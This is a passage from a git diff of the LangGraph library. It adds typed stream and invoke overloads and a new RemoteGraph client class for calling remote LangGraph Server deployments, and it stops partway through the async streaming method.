+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        version: Literal["v1", "v2"] = "v1",
+    ) -> Iterator[dict[str, Any] | Any]: ...
+
+    @overload
+    @abstractmethod
+    def astream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        version: Literal["v2"],
+    ) -> AsyncIterator[StreamPart[StateT, OutputT]]: ...
+
+    @overload
+    @abstractmethod
+    def astream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        version: Literal["v1"] = ...,
+    ) -> AsyncIterator[dict[str, Any] | Any]: ...
+
+    @abstractmethod
+    def astream(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        version: Literal["v1", "v2"] = "v1",
+    ) -> AsyncIterator[dict[str, Any] | Any]: ...
+
+    @overload
+    @abstractmethod
+    def invoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        version: Literal["v2"],
+    ) -> GraphOutput[OutputT]: ...
+
+    @overload
+    @abstractmethod
+    def invoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        version: Literal["v1"] = ...,
+    ) -> dict[str, Any] | Any: ...
+
+    @abstractmethod
+    def invoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        version: Literal["v1", "v2"] = "v1",
+    ) -> dict[str, Any] | Any: ...
+
+    @overload
+    @abstractmethod
+    async def ainvoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        version: Literal["v2"],
+    ) -> GraphOutput[OutputT]: ...
+
+    @overload
+    @abstractmethod
+    async def ainvoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        version: Literal["v1"] = ...,
+    ) -> dict[str, Any] | Any: ...
+
+    @abstractmethod
+    async def ainvoke(
+        self,
+        input: InputT | Command | None,
+        config: RunnableConfig | None = None,
+        *,
+        context: ContextT | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        version: Literal["v1", "v2"] = "v1",
+    ) -> dict[str, Any] | Any: ...
+
+
+StreamChunk = tuple[tuple[str, ...], str, Any]
+
+
+class StreamProtocol:
+    __slots__ = ("modes", "__call__")
+
+    modes: set[StreamMode]
+
+    __call__: Callable[[Self, StreamChunk], None]
+
+    def __init__(
+        self,
+        __call__: Callable[[StreamChunk], None],
+        modes: set[StreamMode],
+    ) -> None:
+        self.__call__ = cast(Callable[[Self, StreamChunk], None], __call__)
+        self.modes = modes
diff --git a/libs/langgraph/langgraph/pregel/remote.py b/libs/langgraph/langgraph/pregel/remote.py
new file mode 100644
index 0000000..b5c4245
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/remote.py
@@ -0,0 +1,1308 @@
+from __future__ import annotations
+
+import logging
+from collections.abc import AsyncIterator, Iterator, Sequence
+from dataclasses import asdict
+from typing import (
+    Any,
+    Literal,
+    cast,
+    overload,
+)
+from uuid import UUID
+
+import langsmith as ls
+from langchain_core.runnables import RunnableConfig
+from langchain_core.runnables.graph import (
+    Edge as DrawableEdge,
+)
+from langchain_core.runnables.graph import (
+    Graph as DrawableGraph,
+)
+from langchain_core.runnables.graph import (
+    Node as DrawableNode,
+)
+from langgraph.checkpoint.base import CheckpointMetadata
+from langgraph_sdk.client import (
+    LangGraphClient,
+    SyncLangGraphClient,
+    get_client,
+    get_sync_client,
+)
+from langgraph_sdk.schema import (
+    Checkpoint,
+    Context,
+    QueryParamTypes,
+    ThreadState,
+)
+from langgraph_sdk.schema import (
+    Command as CommandSDK,
+)
+from langgraph_sdk.schema import (
+    StreamMode as StreamModeSDK,
+)
+from typing_extensions import Self
+
+from langgraph._internal._config import merge_configs
+from langgraph._internal._constants import (
+    CONF,
+    CONFIG_KEY_CHECKPOINT_ID,
+    CONFIG_KEY_CHECKPOINT_MAP,
+    CONFIG_KEY_CHECKPOINT_NS,
+    CONFIG_KEY_STREAM,
+    CONFIG_KEY_TASK_ID,
+    INTERRUPT,
+    NS_SEP,
+)
+from langgraph.errors import GraphInterrupt, ParentCommand
+from langgraph.pregel._remote_run_stream import (
+    _AsyncRemoteGraphRunStream,
+    _RemoteGraphRunStream,
+)
+from langgraph.pregel.protocol import PregelProtocol, StreamProtocol
+from langgraph.types import (
+    All,
+    Command,
+    GraphOutput,
+    Interrupt,
+    PregelTask,
+    StateSnapshot,
+    StreamMode,
+    StreamPart,
+)
+
+logger = logging.getLogger(__name__)
+
+__all__ = ("RemoteGraph", "RemoteException")
+
+_CONF_DROPLIST = frozenset(
+    (
+        CONFIG_KEY_CHECKPOINT_MAP,
+        CONFIG_KEY_CHECKPOINT_ID,
+        CONFIG_KEY_CHECKPOINT_NS,
+        CONFIG_KEY_TASK_ID,
+    ),
+)
+
+_V3_SUPPORTED_KWARGS = frozenset({"metadata", "headers"})
+
+
+def _sanitize_config_value(v: Any) -> Any:
+    """Recursively sanitize a config value to ensure it contains only primitives."""
+    if isinstance(v, (str, int, float, bool, UUID)):
+        return v
+    elif isinstance(v, dict):
+        sanitized_dict = {}
+        for k, val in v.items():
+            if isinstance(k, str):
+                sanitized_value = _sanitize_config_value(val)
+                if sanitized_value is not None:
+                    sanitized_dict[k] = sanitized_value
+        return sanitized_dict
+    elif isinstance(v, (list, tuple)):
+        sanitized_list = []
+        for item in v:
+            sanitized_item = _sanitize_config_value(item)
+            if sanitized_item is not None:
+                sanitized_list.append(sanitized_item)
+        return sanitized_list
+    return None
+
+
+class RemoteException(Exception):
+    """Exception raised when an error occurs in the remote graph."""
+
+    pass
+
+
+class RemoteGraph(PregelProtocol):
+    """The `RemoteGraph` class is a client implementation for calling remote
+    APIs that implement the LangGraph Server API specification.
+
+    For example, the `RemoteGraph` class can be used to call APIs from deployments
+    on LangSmith Deployment.
+
+    `RemoteGraph` behaves the same way as a `Graph` and can be used directly as
+    a node in another `Graph`.
+    """
+
+    assistant_id: str
+    name: str | None
+
+    def __init__(
+        self,
+        assistant_id: str,  # graph_id
+        /,
+        *,
+        url: str | None = None,
+        api_key: str | None = None,
+        headers: dict[str, str] | None = None,
+        client: LangGraphClient | None = None,
+        sync_client: SyncLangGraphClient | None = None,
+        config: RunnableConfig | None = None,
+        name: str | None = None,
+        distributed_tracing: bool = False,
+    ):
+        """Specify `url`, `api_key`, and/or `headers` to create default sync and async clients.
+
+        If `client` or `sync_client` are provided, they will be used instead of the default clients.
+        See `LangGraphClient` and `SyncLangGraphClient` for details on the default clients. At least
+        one of `url`, `client`, or `sync_client` must be provided.
+
+        Args:
+            assistant_id: The assistant ID or graph name of the remote graph to use.
+            url: The URL of the remote API.
+            api_key: The API key to use for authentication. If not provided, it will be read from the environment (`LANGGRAPH_API_KEY`, `LANGSMITH_API_KEY`, or `LANGCHAIN_API_KEY`).
+            headers: Additional headers to include in the requests.
+            client: A `LangGraphClient` instance to use instead of creating a default client.
+            sync_client: A `SyncLangGraphClient` instance to use instead of creating a default client.
+            config: An optional `RunnableConfig` instance with additional configuration.
+            name: Human-readable name to attach to the RemoteGraph instance.
+                This is useful for adding `RemoteGraph` as a subgraph via `graph.add_node(remote_graph)`.
+                If not provided, defaults to the assistant ID.
+            distributed_tracing: Whether to enable sending LangSmith distributed tracing headers.
+        """
+        self.assistant_id = assistant_id
+        if name is None:
+            self.name = assistant_id
+        else:
+            self.name = name
+        self.config = config
+        self.distributed_tracing = distributed_tracing
+
+        if client is None and url is not None:
+            client = get_client(url=url, api_key=api_key, headers=headers)
+        self.client = client
+
+        if sync_client is None and url is not None:
+            sync_client = get_sync_client(url=url, api_key=api_key, headers=headers)
+        self.sync_client = sync_client
+
+    def _validate_client(self) -> LangGraphClient:
+        if self.client is None:
+            raise ValueError(
+                "Async client is not initialized: please provide `url` or `client` when initializing `RemoteGraph`."
+            )
+        return self.client
+
+    def _validate_sync_client(self) -> SyncLangGraphClient:
+        if self.sync_client is None:
+            raise ValueError(
+                "Sync client is not initialized: please provide `url` or `sync_client` when initializing `RemoteGraph`."
+            )
+        return self.sync_client
+
+    def _reject_v3_unsupported(
+        self,
+        *,
+        control: Any,
+        transformers: Any,
+        interrupt_before: Any,
+        interrupt_after: Any,
+        extra_kwargs: dict[str, Any],
+    ) -> None:
+        """Raise NotImplementedError for kwargs unsupported by the v3 streaming path."""
+        for name, value in (
+            ("control", control),
+            ("transformers", transformers),
+            ("interrupt_before", interrupt_before),
+            ("interrupt_after", interrupt_after),
+        ):
+            if value:
+                raise NotImplementedError(
+                    f"RemoteGraph.stream_events(version='v3') does not support `{name}=`."
+                )
+        unknown = set(extra_kwargs) - _V3_SUPPORTED_KWARGS
+        if unknown:
+            raise NotImplementedError(
+                f"RemoteGraph.stream_events(version='v3') does not support "
+                f"the following kwargs: {sorted(unknown)!r}. "
+                f"Supported: {sorted(_V3_SUPPORTED_KWARGS)!r}."
+            )
+
+    def copy(self, update: dict[str, Any]) -> Self:
+        attrs = {**self.__dict__, **update}
+        return self.__class__(attrs.pop("assistant_id"), **attrs)
+
+    def with_config(self, config: RunnableConfig | None = None, **kwargs: Any) -> Self:
+        return self.copy(
+            {"config": merge_configs(self.config, config, cast(RunnableConfig, kwargs))}
+        )
+
+    def _get_drawable_nodes(
+        self, graph: dict[str, list[dict[str, Any]]]
+    ) -> dict[str, DrawableNode]:
+        nodes = {}
+        for node in graph["nodes"]:
+            node_id = str(node["id"])
+            node_data = node.get("data", {})
+
+            # Get node name from node_data if available. If not, use node_id.
+            node_name = node.get("name")
+            if node_name is None:
+                if isinstance(node_data, dict):
+                    node_name = node_data.get("name", node_id)
+                else:
+                    node_name = node_id
+
+            nodes[node_id] = DrawableNode(
+                id=node_id,
+                name=node_name,
+                data=node_data,
+                metadata=node.get("metadata"),
+            )
+        return nodes
+
+    def get_graph(
+        self,
+        config: RunnableConfig | None = None,
+        *,
+        xray: int | bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+    ) -> DrawableGraph:
+        """Get graph by graph name.
+
+        This method calls `GET /assistants/{assistant_id}/graph`.
+
+        Args:
+            config: This parameter is not used.
+            xray: Include graph representation of subgraphs. If an integer
+                value is provided, only subgraphs with a depth less than or
+                equal to the value will be included.
+
+        Returns:
+            The graph information for the assistant in JSON format.
+        """
+        sync_client = self._validate_sync_client()
+        graph = sync_client.assistants.get_graph(
+            assistant_id=self.assistant_id,
+            xray=xray,
+            headers=headers,
+            params=params,
+        )
+        return DrawableGraph(
+            nodes=self._get_drawable_nodes(graph),
+            edges=[DrawableEdge(**edge) for edge in graph["edges"]],
+        )
+
+    async def aget_graph(
+        self,
+        config: RunnableConfig | None = None,
+        *,
+        xray: int | bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+    ) -> DrawableGraph:
+        """Get graph by graph name.
+
+        This method calls `GET /assistants/{assistant_id}/graph`.
+
+        Args:
+            config: This parameter is not used.
+            xray: Include graph representation of subgraphs. If an integer
+                value is provided, only subgraphs with a depth less than or
+                equal to the value will be included.
+
+        Returns:
+            The graph information for the assistant in JSON format.
+        """
+        client = self._validate_client()
+        graph = await client.assistants.get_graph(
+            assistant_id=self.assistant_id,
+            xray=xray,
+            headers=headers,
+            params=params,
+        )
+        return DrawableGraph(
+            nodes=self._get_drawable_nodes(graph),
+            edges=[DrawableEdge(**edge) for edge in graph["edges"]],
+        )
+
+    def _create_state_snapshot(self, state: ThreadState) -> StateSnapshot:
+        tasks: list[PregelTask] = []
+        for task in state["tasks"]:
+            interrupts = tuple(
+                Interrupt(**interrupt) for interrupt in task["interrupts"]
+            )
+
+            tasks.append(
+                PregelTask(
+                    id=task["id"],
+                    name=task["name"],
+                    path=tuple(),
+                    error=Exception(task["error"]) if task["error"] else None,
+                    interrupts=interrupts,
+                    state=(
+                        self._create_state_snapshot(task["state"])
+                        if task["state"]
+                        else (
+                            cast(RunnableConfig, {"configurable": task["checkpoint"]})
+                            if task["checkpoint"]
+                            else None
+                        )
+                    ),
+                    result=task.get("result"),
+                )
+            )
+
+        return StateSnapshot(
+            values=state["values"],
+            next=tuple(state["next"]) if state["next"] else tuple(),
+            config={
+                "configurable": {
+                    "thread_id": state["checkpoint"]["thread_id"],
+                    "checkpoint_ns": state["checkpoint"]["checkpoint_ns"],
+                    "checkpoint_id": state["checkpoint"]["checkpoint_id"],
+                    "checkpoint_map": state["checkpoint"].get("checkpoint_map", {}),
+                }
+            },
+            metadata=CheckpointMetadata(**state["metadata"]),
+            created_at=state["created_at"],
+            parent_config=(
+                {
+                    "configurable": {
+                        "thread_id": state["parent_checkpoint"]["thread_id"],
+                        "checkpoint_ns": state["parent_checkpoint"]["checkpoint_ns"],
+                        "checkpoint_id": state["parent_checkpoint"]["checkpoint_id"],
+                        "checkpoint_map": state["parent_checkpoint"].get(
+                            "checkpoint_map", {}
+                        ),
+                    }
+                }
+                if state["parent_checkpoint"]
+                else None
+            ),
+            tasks=tuple(tasks),
+            interrupts=tuple([i for task in tasks for i in task.interrupts]),
+        )
+
+    def _get_checkpoint(self, config: RunnableConfig | None) -> Checkpoint | None:
+        if config is None:
+            return None
+
+        checkpoint = {}
+
+        if "thread_id" in config["configurable"]:
+            checkpoint["thread_id"] = config["configurable"]["thread_id"]
+        if "checkpoint_ns" in config["configurable"]:
+            checkpoint["checkpoint_ns"] = config["configurable"]["checkpoint_ns"]
+        if "checkpoint_id" in config["configurable"]:
+            checkpoint["checkpoint_id"] = config["configurable"]["checkpoint_id"]
+        if "checkpoint_map" in config["configurable"]:
+            checkpoint["checkpoint_map"] = config["configurable"]["checkpoint_map"]
+
+        return checkpoint if checkpoint else None
+
+    def _get_config(self, checkpoint: Checkpoint) -> RunnableConfig:
+        return {
+            "configurable": {
+                "thread_id": checkpoint["thread_id"],
+                "checkpoint_ns": checkpoint["checkpoint_ns"],
+                "checkpoint_id": checkpoint["checkpoint_id"],
+                "checkpoint_map": checkpoint.get("checkpoint_map", {}),
+            }
+        }
+
+    def _sanitize_config(self, config: RunnableConfig) -> RunnableConfig:
+        """Sanitize the config to remove non-serializable fields."""
+        sanitized: RunnableConfig = {}
+        if "recursion_limit" in config:
+            sanitized["recursion_limit"] = config["recursion_limit"]
+        if "tags" in config:
+            sanitized["tags"] = [tag for tag in config["tags"] if isinstance(tag, str)]
+
+        if "metadata" in config:
+            sanitized["metadata"] = {}
+            for k, v in config["metadata"].items():
+                if (
+                    isinstance(k, str)
+                    and (sanitized_value := _sanitize_config_value(v)) is not None
+                ):
+                    sanitized["metadata"][k] = sanitized_value
+
+        if "configurable" in config:
+            sanitized["configurable"] = {}
+            for k, v in config["configurable"].items():
+                if (
+                    isinstance(k, str)
+                    and k not in _CONF_DROPLIST
+                    and (sanitized_value := _sanitize_config_value(v)) is not None
+                ):
+                    sanitized["configurable"][k] = sanitized_value
+
+        return sanitized
+
+    def get_state(
+        self,
+        config: RunnableConfig,
+        *,
+        subgraphs: bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+    ) -> StateSnapshot:
+        """Get the state of a thread.
+
+        This method calls `POST /threads/{thread_id}/state/checkpoint` if a
+        checkpoint is specified in the config or `GET /threads/{thread_id}/state`
+        if no checkpoint is specified.
+
+        Args:
+            config: A `RunnableConfig` that includes `thread_id` in the
+                `configurable` field.
+            subgraphs: Include subgraphs in the state.
+            headers: Optional custom headers to include with the request.
+            params: Optional query parameters to include with the request.
+
+        Returns:
+            The latest state of the thread.
+        """
+        sync_client = self._validate_sync_client()
+        merged_config = merge_configs(self.config, config)
+
+        state = sync_client.threads.get_state(
+            thread_id=merged_config["configurable"]["thread_id"],
+            checkpoint=self._get_checkpoint(merged_config),
+            subgraphs=subgraphs,
+            headers=headers,
+            params=params,
+        )
+        return self._create_state_snapshot(state)
+
+    async def aget_state(
+        self,
+        config: RunnableConfig,
+        *,
+        subgraphs: bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+    ) -> StateSnapshot:
+        """Get the state of a thread.
+
+        This method calls `POST /threads/{thread_id}/state/checkpoint` if a
+        checkpoint is specified in the config or `GET /threads/{thread_id}/state`
+        if no checkpoint is specified.
+
+        Args:
+            config: A `RunnableConfig` that includes `thread_id` in the
+                `configurable` field.
+            subgraphs: Include subgraphs in the state.
+            headers: Optional custom headers to include with the request.
+            params: Optional query parameters to include with the request.
+
+        Returns:
+            The latest state of the thread.
+        """
+        client = self._validate_client()
+        merged_config = merge_configs(self.config, config)
+
+        state = await client.threads.get_state(
+            thread_id=merged_config["configurable"]["thread_id"],
+            checkpoint=self._get_checkpoint(merged_config),
+            subgraphs=subgraphs,
+            headers=headers,
+            params=params,
+        )
+        return self._create_state_snapshot(state)
+
+    def get_state_history(
+        self,
+        config: RunnableConfig,
+        *,
+        filter: dict[str, Any] | None = None,
+        before: RunnableConfig | None = None,
+        limit: int | None = None,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+    ) -> Iterator[StateSnapshot]:
+        """Get the state history of a thread.
+
+        This method calls `POST /threads/{thread_id}/history`.
+
+        Args:
+            config: A `RunnableConfig` that includes `thread_id` in the
+                `configurable` field.
+            filter: Metadata to filter on.
+            before: A `RunnableConfig` that includes checkpoint metadata.
+            limit: Max number of states to return.
+
+        Returns:
+            States of the thread.
+        """
+        sync_client = self._validate_sync_client()
+        merged_config = merge_configs(self.config, config)
+
+        states = sync_client.threads.get_history(
+            thread_id=merged_config["configurable"]["thread_id"],
+            limit=limit if limit else 10,
+            before=self._get_checkpoint(before),
+            metadata=filter,
+            checkpoint=self._get_checkpoint(merged_config),
+            headers=headers,
+            params=params,
+        )
+        for state in states:
+            yield self._create_state_snapshot(state)
+
+    async def aget_state_history(
+        self,
+        config: RunnableConfig,
+        *,
+        filter: dict[str, Any] | None = None,
+        before: RunnableConfig | None = None,
+        limit: int | None = None,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+    ) -> AsyncIterator[StateSnapshot]:
+        """Get the state history of a thread.
+
+        This method calls `POST /threads/{thread_id}/history`.
+
+        Args:
+            config: A `RunnableConfig` that includes `thread_id` in the
+                `configurable` field.
+            filter: Metadata to filter on.
+            before: A `RunnableConfig` that includes checkpoint metadata.
+            limit: Max number of states to return.
+            headers: Optional custom headers to include with the request.
+            params: Optional query parameters to include with the request.
+
+        Returns:
+            States of the thread.
+        """
+        client = self._validate_client()
+        merged_config = merge_configs(self.config, config)
+
+        states = await client.threads.get_history(
+            thread_id=merged_config["configurable"]["thread_id"],
+            limit=limit if limit else 10,
+            before=self._get_checkpoint(before),
+            metadata=filter,
+            checkpoint=self._get_checkpoint(merged_config),
+            headers=headers,
+            params=params,
+        )
+        for state in states:
+            yield self._create_state_snapshot(state)
+
+    def bulk_update_state(
+        self,
+        config: RunnableConfig,
+        updates: list[tuple[dict[str, Any] | None, str | None]],
+    ) -> RunnableConfig:
+        raise NotImplementedError
+
+    async def abulk_update_state(
+        self,
+        config: RunnableConfig,
+        updates: list[tuple[dict[str, Any] | None, str | None]],
+    ) -> RunnableConfig:
+        raise NotImplementedError
+
+    def update_state(
+        self,
+        config: RunnableConfig,
+        values: dict[str, Any] | Any | None,
+        as_node: str | None = None,
+        *,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+    ) -> RunnableConfig:
+        """Update the state of a thread.
+
+        This method calls `POST /threads/{thread_id}/state`.
+
+        Args:
+            config: A `RunnableConfig` that includes `thread_id` in the
+                `configurable` field.
+            values: Values to update to the state.
+            as_node: Update the state as if this node had just executed.
+
+        Returns:
+            `RunnableConfig` for the updated thread.
+        """
+        sync_client = self._validate_sync_client()
+        merged_config = merge_configs(self.config, config)
+
+        response: dict = sync_client.threads.update_state(  # type: ignore
+            thread_id=merged_config["configurable"]["thread_id"],
+            values=values,
+            as_node=as_node,
+            checkpoint=self._get_checkpoint(merged_config),
+            headers=headers,
+            params=params,
+        )
+        return self._get_config(response["checkpoint"])
+
+    async def aupdate_state(
+        self,
+        config: RunnableConfig,
+        values: dict[str, Any] | Any | None,
+        as_node: str | None = None,
+        *,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+    ) -> RunnableConfig:
+        """Update the state of a thread.
+
+        This method calls `POST /threads/{thread_id}/state`.
+
+        Args:
+            config: A `RunnableConfig` that includes `thread_id` in the
+                `configurable` field.
+            values: Values to update to the state.
+            as_node: Update the state as if this node had just executed.
+
+        Returns:
+            `RunnableConfig` for the updated thread.
+        """
+        client = self._validate_client()
+        merged_config = merge_configs(self.config, config)
+
+        response: dict = await client.threads.update_state(  # type: ignore
+            thread_id=merged_config["configurable"]["thread_id"],
+            values=values,
+            as_node=as_node,
+            checkpoint=self._get_checkpoint(merged_config),
+            headers=headers,
+            params=params,
+        )
+        return self._get_config(response["checkpoint"])
+
+    def _get_stream_modes(
+        self,
+        stream_mode: StreamMode | list[StreamMode] | None,
+        config: RunnableConfig | None,
+        default: StreamMode = "updates",
+    ) -> tuple[list[StreamModeSDK], list[StreamModeSDK], bool, StreamProtocol | None]:
+        """Return a tuple of the final list of stream modes sent to the
+        remote graph and a boolean flag indicating if stream mode 'updates'
+        was present in the original list of stream modes.
+
+        'updates' mode is added to the list of stream modes so that interrupts
+        can be detected in the remote graph.
+        """
+        updated_stream_modes: list[StreamModeSDK] = []
+        req_single = True
+        # coerce to list, or add default stream mode
+        if stream_mode:
+            if isinstance(stream_mode, str):
+                updated_stream_modes.append(stream_mode)
+            else:
+                req_single = False
+                updated_stream_modes.extend(stream_mode)
+        else:
+            updated_stream_modes.append(default)
+        requested_stream_modes = updated_stream_modes.copy()
+        # add any from parent graph
+        stream: StreamProtocol | None = (
+            (config or {}).get(CONF, {}).get(CONFIG_KEY_STREAM)
+        )
+        if stream:
+            updated_stream_modes.extend(stream.modes)
+        # map "messages" to "messages-tuple"
+        if "messages" in updated_stream_modes:
+            updated_stream_modes.remove("messages")
+            updated_stream_modes.append("messages-tuple")
+
+        # if requested "messages-tuple",
+        # map to "messages" in requested_stream_modes
+        if "messages-tuple" in requested_stream_modes:
+            requested_stream_modes.remove("messages-tuple")
+            requested_stream_modes.append("messages")
+
+        # add 'updates' mode if not present
+        if "updates" not in updated_stream_modes:
+            updated_stream_modes.append("updates")
+
+        # remove 'events', as it's not supported in Pregel
+        if "events" in updated_stream_modes:
+            updated_stream_modes.remove("events")
+        return (updated_stream_modes, requested_stream_modes, req_single, stream)
+
+    @overload
+    def stream(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v2"],
+        **kwargs: Any,
+    ) -> Iterator[StreamPart]: ...
+
+    @overload
+    def stream(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v1"] = ...,
+        **kwargs: Any,
+    ) -> Iterator[dict[str, Any] | Any]: ...
+
+    def stream(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v1", "v2"] = "v1",
+        **kwargs: Any,
+    ) -> Iterator[dict[str, Any] | Any]:
+        """Create a run and stream the results.
+
+        This method calls `POST /threads/{thread_id}/runs/stream` if a `thread_id`
+        is specified in the `configurable` field of the config or
+        `POST /runs/stream` otherwise.
+
+        Args:
+            input: Input to the graph.
+            config: A `RunnableConfig` for graph invocation.
+            stream_mode: Stream mode(s) to use.
+            interrupt_before: Interrupt the graph before these nodes.
+            interrupt_after: Interrupt the graph after these nodes.
+            subgraphs: Stream from subgraphs.
+            headers: Additional headers to pass to the request.
+            **kwargs: Additional params to pass to client.runs.stream.
+
+        Yields:
+            The output of the graph.
+        """
+        sync_client = self._validate_sync_client()
+        merged_config = merge_configs(self.config, config)
+        sanitized_config = self._sanitize_config(merged_config)
+        stream_modes, requested, req_single, stream = self._get_stream_modes(
+            stream_mode, config
+        )
+        if isinstance(input, Command):
+            command: CommandSDK | None = cast(CommandSDK, asdict(input))
+            input = None
+        else:
+            command = None
+        thread_id = sanitized_config.get("configurable", {}).pop("thread_id", None)
+
+        for chunk in sync_client.runs.stream(
+            thread_id=thread_id,
+            assistant_id=self.assistant_id,
+            input=input,
+            command=command,
+            config=sanitized_config,
+            context=context,
+            stream_mode=stream_modes,
+            interrupt_before=interrupt_before,
+            interrupt_after=interrupt_after,
+            stream_subgraphs=subgraphs or stream is not None,
+            if_not_exists="create",
+            headers=(
+                _merge_tracing_headers(headers) if self.distributed_tracing else headers
+            ),
+            params=params,
+            **kwargs,
+        ):
+            # split mode and ns
+            if NS_SEP in chunk.event:
+                mode, ns_ = chunk.event.split(NS_SEP, 1)
+                ns = tuple(ns_.split(NS_SEP))
+            else:
+                mode, ns = chunk.event, ()
+            # raise ParentCommand exception for command events
+            if mode == "command" and chunk.data.get("graph") == Command.PARENT:
+                raise ParentCommand(Command(**chunk.data))
+            # prepend caller ns (as it is not passed to remote graph)
+            if caller_ns := (config or {}).get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_NS):
+                caller_ns = tuple(caller_ns.split(NS_SEP))
+                ns = caller_ns + ns
+            # stream to parent stream
+            if stream is not None and mode in stream.modes:
+                stream((ns, mode, chunk.data))
+            # raise interrupt or errors
+            if chunk.event.startswith("updates"):
+                if isinstance(chunk.data, dict) and INTERRUPT in chunk.data:
+                    if caller_ns:
+                        raise GraphInterrupt(
+                            [Interrupt(**i) for i in chunk.data[INTERRUPT]]
+                        )
+            elif chunk.event.startswith("error"):
+                raise RemoteException(chunk.data)
+            # filter for what was actually requested
+            if mode not in requested:
+                continue
+
+            if chunk.event.startswith("messages"):
+                chunk = chunk._replace(data=tuple(chunk.data))
+
+            # emit chunk
+            if version == "v2":
+                ints: tuple[Interrupt, ...] = ()
+                if mode == "values" and isinstance(chunk.data, dict):
+                    ints = tuple(
+                        Interrupt(**i) if isinstance(i, dict) else i
+                        for i in chunk.data.pop(INTERRUPT, ())
+                    )
+                yield {"type": mode, "ns": ns, "data": chunk.data, "interrupts": ints}
+            elif subgraphs:
+                if NS_SEP in chunk.event:
+                    mode, ns_ = chunk.event.split(NS_SEP, 1)
+                    ns = tuple(ns_.split(NS_SEP))
+                else:
+                    mode, ns = chunk.event, ()
+                if req_single:
+                    yield ns, chunk.data
+                else:
+                    yield ns, mode, chunk.data
+            elif req_single:
+                yield chunk.data
+            else:
+                yield chunk
+
+    @overload
+    def astream(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v2"],
+        **kwargs: Any,
+    ) -> AsyncIterator[StreamPart]: ...
+
+    @overload
+    def astream(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v1"] = ...,
+        **kwargs: Any,
+    ) -> AsyncIterator[dict[str, Any] | Any]: ...
+
+    async def astream(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
